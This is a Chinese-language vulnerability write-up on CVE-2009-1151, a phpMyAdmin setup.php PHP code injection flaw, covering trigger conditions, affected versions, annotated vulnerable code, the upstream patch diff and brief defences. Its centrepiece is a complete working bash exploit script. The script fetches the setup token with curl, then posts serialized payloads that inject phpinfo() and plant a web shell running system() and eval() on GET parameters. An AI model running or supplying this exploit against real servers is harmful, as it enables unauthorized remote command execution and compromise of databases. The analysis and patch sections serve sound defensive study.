CVE-2009-1151 phpMyadmin Remote Code Injection && Execution

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1151
http://cwe.mitre.org/data/definitions/661.html
http://sebug.net/vuldb/ssvid-11665
http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/

1. web server writable 
通过代码漏洞进行GETSHELL，本质上是在利用WEB容器调用操作系统的"文件系统API"进行磁盘读写，向指定的磁盘目录下写入一个特定内容的文件。所以，这就要求WEB容器对指定的磁盘路径具有"可写"的权限

2. config directory has to be created
这个漏洞的攻击场景是通过Code Inject(代码注入)，基于WEB容器向磁盘上写入文件(创建文件)，但是我们知道操作系统的写文件API是不会自动创建目录的，如果config这个文件夹不存在，则即使存在漏洞，也无法成功利用

#!/bin/bash

# CVE-2009-1151: phpMyAdmin ‘/scripts/setup.php‘ PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, 
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the ‘/config/‘ directory
# within the ‘/phpMyAdmin/‘ directory. this is because this directory is
# where ‘/scripts/setup.php‘ tries to create ‘config.inc.php‘ which is where
# our evil PHP code is injected 8)

# more info on:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

if [[ $# -ne 1 ]]
then
    echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"
    echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
    exit
fi

if ! which curl >/dev/null
then
    echo "sorry but you need curl for this script to work!"
           echo "on Debian/Ubuntu: sudo apt-get install curl"
           exit
fi


function exploit {

postdata="token=$1&action=save&configuration=""a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]=""%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:""%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:""%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:""%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

postdata2="token=$1&action=save&configuration=a:1:""{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d=""%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b""system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}""if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval""(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//""%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22""mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:""%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config""%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

    flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
    
    echo "[+] attempting to inject phpinfo() ..."
    curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null

    if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
    then
        curl -ks --url "$3/config/config.inc.php" >$flag    
        echo "[+] success! phpinfo() injected successfully! output saved on $flag"
        curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
        echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
        echo "    $3/config/config.inc.php?c=ls+-l+/"
        echo "    $3/config/config.inc.php?p=phpinfo();"
        echo "    please send any feedback/improvements for this script to"        "unknown.pentester<AT_sign__here>gmail.com"
    else
        echo "[+] no luck injecting to $3/config/config.inc.php :("
        exit
    fi
}
# end of exploit function

cookiejar="/tmp/$(basename $0).$RANDOM.txt"
token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
echo "[+] checking if phpMyAdmin exists on URL provided ..."

#if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
if grep phpMyAdmin $cookiejar &>/dev/null
then
    length=`echo -n $token | wc -c`

    # valid form token obtained?
    if [[ $length -eq 32 ]]
    then
        echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
        # attempt exploit!
        exploit $token $cookiejar $1
    else
        echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("
        exit
    fi
else
    echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"
    exit
fi

http://www.gnucitizen.org/static/blog/2009/06/phpmyadminrcesh.txt

1. For 2.11.x: versions before 2.11.9.5 
2. For 3.x: versions before 3.1.3.1

http://download.chinaunix.net/download.php?id=29329&ResourceID=42

function get_cfg_string($cfg) 
{
    global $script_info, $script_version, $now, $crlf;

    $c = $cfg;
    $ret = "<?php$crlf/*$crlf * Generated configuration file$crlf * Generated by: $script_info$crlf * Version: $script_version$crlf * Date: " . $now . $crlf . ‘ */‘ . $crlf . $crlf;

    if (count($c[‘Servers‘]) > 0) 
    {
        die(var_dump($c[‘Servers‘]));
        $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf;
        foreach ($c[‘Servers‘] as $cnt => $srv) 
        {
            $ret .= $crlf . ‘/* Server ‘ . strtr(get_server_name($srv, $cnt, false), ‘*‘, ‘-‘) . " */$crlf\$i++;" . $crlf;
            foreach ($srv as $key => $val) 
            {
                /*
        $key = preg_replace(‘/[^A-Za-z0-9_]/‘, ‘_‘, $key);
        对用户的输入数据没有进行必要的处理
        1. 过滤、转移：防止出现代码和数据的混淆
        2. 参数化防御：原则上只能接收来自用户的一定限定范围内的数据
        */
                $ret .= get_cfg_val("\$cfg[‘Servers‘][\$i][‘$key‘]", $val);
            }
        }
        $ret .= $crlf . ‘/* End of servers configuration */‘ . $crlf . $crlf;
    }
    unset($c[‘Servers‘]);

    foreach ($c as $key => $val) 
    {
        /*
    $key = preg_replace(‘/[^A-Za-z0-9_]/‘, ‘_‘, $key);
    对用户的输入数据没有进行必要的处理
    1. 过滤、转移：防止出现代码和数据的混淆
    2. 参数化防御：原则上只能接收来自用户的一定限定范围内的数据
    */
        $ret .= get_cfg_val("\$cfg[‘$key‘]", $val);
    }

    $ret .= ‘?>‘ . $crlf;
    return $ret;
}

...
<?php
        break;
    case ‘save‘:
    //以写的方式打开config.inc.php文件，如果不存在，则创建之
        $config = @fopen(‘./config/config.inc.php‘, ‘w‘);
        if ($config === FALSE) 
    {
            message(‘error‘, ‘Could not open config file for writing! Bad permissions?‘);
            break;
        }
    //从$_SESSION[‘configuration‘]中获取配置信息，而黑客可以通过$_POST数据包注入控制这个$SESSION[‘configuration‘]数组信息
        $s = get_cfg_string($_SESSION[‘configuration‘]);
        $r = fwrite($config, $s);
        if (!$r || $r != strlen($s)) 
    {
            message(‘error‘, ‘Could not write to config file! Not enough space?‘);
            break;
        } 
    else 
    {
            message(‘notice‘, ‘Configuration saved to file config/config.inc.php in phpMyAdmin top level directory, copy it to top level one and delete directory config to use it.‘, ‘File saved‘);
        }
        unset($r, $s);
        fclose($config);
        break;
...

@@ -573,6 +573,7 @@ function get_cfg_string($cfg) 
{
         foreach ($c[‘Servers‘] as $cnt => $srv) 
     {
             $ret .= $crlf . ‘/* Server ‘ . strtr(get_server_name($srv, $cnt, false), ‘*‘, ‘-‘) . " */$crlf\$i++;" . $crlf;
             foreach ($srv as $key => $val) 
         {
+                $key = preg_replace(‘/[^A-Za-z0-9_]/‘, ‘_‘, $key);
                 $ret .= get_cfg_val("\$cfg[‘Servers‘][\$i][‘$key‘]", $val);
             }
         }
 @@ -581,6 +582,7 @@ function get_cfg_string($cfg) 
 {
     unset($c[‘Servers‘]);
 
     foreach ($c as $key => $val) 
     {
+        $key = preg_replace(‘/[^A-Za-z0-9_]/‘, ‘_‘, $key);
         $ret .= get_cfg_val("\$cfg[‘$key‘]", $val);
     }

https://github.com/phpmyadmin/phpmyadmin/commit/460a649dbcc47065fbf01bbc14392c3fc6ea161b

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.
Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").
If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

http://cwe.mitre.org/data/definitions/116.html

1. 在系统边界的数据接收模块中部署参数化防御、过滤模块
2. 在代码执行的底层执行逻辑块中部署恶意、可疑代码检测、清洗模块